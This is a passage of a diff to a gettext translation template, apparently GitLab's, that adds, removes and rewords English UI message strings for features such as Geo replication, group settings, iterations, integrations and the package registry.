-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
